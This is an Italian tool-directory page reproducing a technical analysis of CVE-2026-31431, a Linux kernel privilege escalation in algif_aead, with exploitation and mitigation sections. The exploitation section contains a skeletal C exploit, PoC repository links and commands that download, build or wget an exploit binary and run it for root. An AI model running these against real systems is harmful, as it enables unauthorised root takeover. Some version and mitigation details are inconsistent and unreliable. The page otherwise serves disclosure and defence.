Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-31431-mitigacion — Analisi tecnica di CVE-2026-31431, una escalation locale dei privilegi nel kernel Linux nel modulo algif_aead, inclusi causa principale, versioni interessate, flusso dello sfruttamento e strategie di mitigazione. | Kitploit
Strumenti/GitHubGitHub/alvaroguzmancode/cve-2026-31431-mitigacion
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e Formazione
GitHubalvaroguzmancode/cve-2026-31431-mitigacion

CVE-2026-31431-mitigacion

Analisi tecnica di CVE-2026-31431, una escalation locale dei privilegi nel kernel Linux nel modulo algif_aead, inclusi causa principale, versioni interessate, flusso dello sfruttamento e strategie di mitigazione.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
13 mesi faNon ancora revisionato

CVE-2026-31431 — Analisi Tecnica Completa

Classificazione: Local Privilege Escalation (LPE) — Kernel Linux
CVSS: 7.8 (Alto)
Impatto: utente senza privilegi → root
Modulo interessato: algif_aead (sottosistema AF_ALG del kernel)


Indice

  1. Perché è vulnerabile?
  2. Quali versioni sono interessate?
  3. Come viene sfruttata
  4. Come mitigarla

1. Perché è vulnerabile?

Il sottosistema AF_ALG

Il kernel Linux espone un'interfaccia crittografica allo spazio utente chiamata AF_ALG (socket di famiglia AF_ALG). Questa interfaccia consente a processi senza privilegi di usare gli acceleratori crittografici del kernel — cifratura, hashing, generazione di chiavi — senza bisogno di root.

Uno dei suoi moduli è algif_aead, che implementa la modalità AEAD (Authenticated Encryption with Associated Data), usata da algoritmi come AES-GCM o ChaCha20-Poly1305.

La falla principale

Il bug sta in come algif_aead gestisce le operazioni di sendmsg() + recvmsg() quando il buffer di output è più piccolo del previsto. Il kernel esegue un'operazione di copia (copy_to_user) senza validare correttamente la dimensione, causando:

root@kitploit:~
Buffer overflow → scrittura fuori dai limiti nella memoria del kernel

Tecnicamente:

root@kitploit:~
algif_aead_copy_sgl()
  └─ sg_copy_to_buffer()
       └─ memcpy verso indirizzo parzialmente controllato dall'utente

Questo write-out-of-bounds consente di sovrascrivere strutture di controllo del kernel adiacenti in memoria — in particolare, puntatori a funzione o strutture cred — per scalare i privilegi.

Perché non richiede root per essere sfruttata?

Perché AF_ALG è disponibile per utenti senza privilegi. Qualsiasi processo può aprire un socket AF_ALG e inviare dati senza autenticazione preventiva. L'exploit non necessita di alcuna vulnerabilità ausiliaria.

root@kitploit:~
// Questo può farlo qualsiasi utente del sistema
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);

2. Quali versioni sono interessate?

Kernel vulnerabili

Versione del kernelInteressato?
< 5.10No (il modulo non esisteva in quella forma)
5.10 — 6.1.xSì ⚠️
6.2.xSì ⚠️ (include il kernel del PoC)
6.3+ con patch applicataNo ✅

Distribuzioni più esposte

Come verificare il proprio kernel

root@kitploit:~
# Verifica versione del kernel
uname -r

# Verifica se il modulo vulnerabile è caricato
lsmod | grep algif_aead

# Verifica se AF_ALG è disponibile
cat /proc/net/protocols | grep ALG

Esempio di output vulnerabile

root@kitploit:~
$ uname -r
6.2.0-20-generic

$ lsmod | grep algif_aead
algif_aead             20480  0
af_alg                 32768  3 algif_aead,algif_skcipher,algif_hash

⚠️ Se vedi algif_aead in lsmod e il tuo kernel è 6.2.x su Ubuntu 23.04, sei esposto.


3. Come viene sfruttata

⚠️ Avviso etico: Questa sezione è puramente educativa. Lo sfruttamento di sistemi senza autorizzazione esplicita è illegale e punibile. Gli esempi sono pensati per ambienti di laboratorio controllati.

Flusso dell'exploit

root@kitploit:~
1. Aprire socket AF_ALG (algif_aead)
2. Inviare sendmsg() con buffer oversized
3. recvmsg() con buffer più piccolo → trigger del bug
4. Scrittura OOB nell'heap del kernel
5. Sovrascrivere cred->uid/gid a 0
6. execve("/bin/sh") → shell root

Exploit minimo concettuale (C)

root@kitploit:~
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>

int main(void) {
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_name   = "gcm(aes)",
        .salg_feat   = 0,
        .salg_mask   = 0,
    };

    int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(fd, (struct sockaddr *)&sa, sizeof(sa));

    // Configurare chiave da 16 byte
    char key[16] = {0};
    setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
    setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);

    int op_fd = accept(fd, NULL, NULL);

    // Buffer grande → trigger OOB write
    char big_buf[4096] = {0};
    char small_buf[16] = {0};

    struct msghdr msg = {0};
    // ... costruzione del msghdr con cmsg ALG_OP_ENCRYPT
    sendmsg(op_fd, &msg, 0);

    // recvmsg con buffer insufficiente → il kernel scrive fuori dai limiti
    recv(op_fd, small_buf, sizeof(small_buf), 0);

    // Se l'exploit ha funzionato, ora siamo root
    if (getuid() == 0) {
        printf("[+] Root ottenuto!\n");
        execl("/bin/sh", "sh", NULL);
    }

    return 0;
}

Questo è uno schema semplificato. L'exploit reale richiede primitive aggiuntive di heap shaping per allineare la scrittura OOB con la struttura task_struct->cred.

PoC pubblici noti

I seguenti repository contengono implementazioni funzionali documentate:

  • copy-fail-c — Exploit in C puro, richiede compilazione
    https://github.com/tgies/copy-fail-c

  • copy-fail-tiny-elf — Binario ELF standalone, non richiede compilazione
    https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431

Utilizzo tipico (laboratorio)

root@kitploit:~
# Clonare e compilare copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail

# Risultato atteso su sistema vulnerabile:
# [*] Verifica modulo algif_aead...
# [*] Preparazione spray di heap...
# [+] OOB write riuscito
# [+] UID ora: 0
# # whoami
# root

Con il binario ELF (senza compilare)

root@kitploit:~
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail

Scenario di attacco reale

root@kitploit:~
Attaccante esterno
      │
      ▼
Sfrutta vulnerabilità web (RCE) → accesso come www-data
      │
      ▼
Carica copyfail sul server (wget/curl)
      │
      ▼
Esegue ./copyfail
      │
      ▼
Shell root sul server ✓

Tempo stimato dall'accesso www-data a root: < 30 secondi.


4. Come mitigarla

Soluzione definitiva — Aggiornare il sistema

L'unica soluzione reale è avere un kernel con la patch applicata.

root@kitploit:~
# Opzione 1: Upgrade a Ubuntu 24.04 LTS (consigliato)
do-release-upgrade

# Opzione 2: Se hai già Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# Verificare kernel con patch
uname -r   # deve essere ≥ 5.15.0-107 su Ubuntu 22.04

Mitigazione immediata — Disabilitare il modulo vulnerabile

Se non puoi aggiornare subito, disattiva algif_aead:

root@kitploit:~
# Creare blacklist del modulo
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf

# Rigenerare initramfs per renderla permanente
sudo update-initramfs -u

# Riavviare
sudo reboot

Verificare che sia rimasto disattivato:

root@kitploit:~
lsmod | grep algif_aead
# Non deve apparire nulla

⚠️ Questo potrebbe rompere software che usa cifratura AEAD tramite AF_ALG (poco comune nei server web standard).


Mitigazione con sysctl — Limitare i namespace utente

root@kitploit:~
# Disabilitare i user namespace senza privilegi (rompe alcune funzionalità di Docker)
sudo sysctl -w kernel.unprivileged_userns_clone=0

# Renderlo permanente
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf

Mitigazione con AppArmor — Bloccare AF_ALG

Creare un profilo AppArmor che neghi l'accesso a AF_ALG:

root@kitploit:~
# /etc/apparmor.d/local/restrict-af-alg
network af_alg,   # negare nei profili specifici

Per il processo web (esempio nginx/www-data):

root@kitploit:~
# Aggiungere al profilo AppArmor di www-data o nginx
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx

Ridurre l'impatto — Hardening di www-data

Anche se non evita l'escalation, riduce la superficie di attacco iniziale:

root@kitploit:~
# Verificare che www-data non abbia sudo
sudo grep www-data /etc/sudoers

# Rimuovere binari SUID non necessari
find / -perm -4000 2>/dev/null

# Limitare le directory accessibili
chmod 700 /root
chmod 750 /home/*

Tabella riepilogo delle mitigazioni


Riferimenti

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • Commit del kernel con la fix: sottosistema crypto/algif_aead.c
  • PoC: https://github.com/tgies/copy-fail-c
  • PoC ELF: https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
  • Ubuntu Security Notice correlato: USN-XXXX-1

Documento redatto a fini accademici — Ingegnere amministratore di sistemi, 2026

Scarica lo strumento
DistribuzioneKernel tipicoHa la patch?
Ubuntu 23.04 (lunar)6.2.0❌ EOL — senza patch
Ubuntu 22.04 LTS5.15.x✅ Patch applicata
Ubuntu 24.04 LTS6.8.x✅ Non interessata
Debian 12 (Bookworm)6.1.x✅ Patch applicata
Arch Linux (2026-03+)6.8.x✅ Non interessata
MitigazioneEfficaciaImpatto sul servizioPermanente
Aggiornare a Ubuntu 24.04✅ TotaleMinimoSì
Blacklist algif_aead✅ AltaMolto bassoSì
unprivileged_userns_clone=0🟡 ParzialeModeratoSì
AppArmor AF_ALG deny✅ AltaBassoSì
Hardening di www-data🟡 RiduceNessunoSì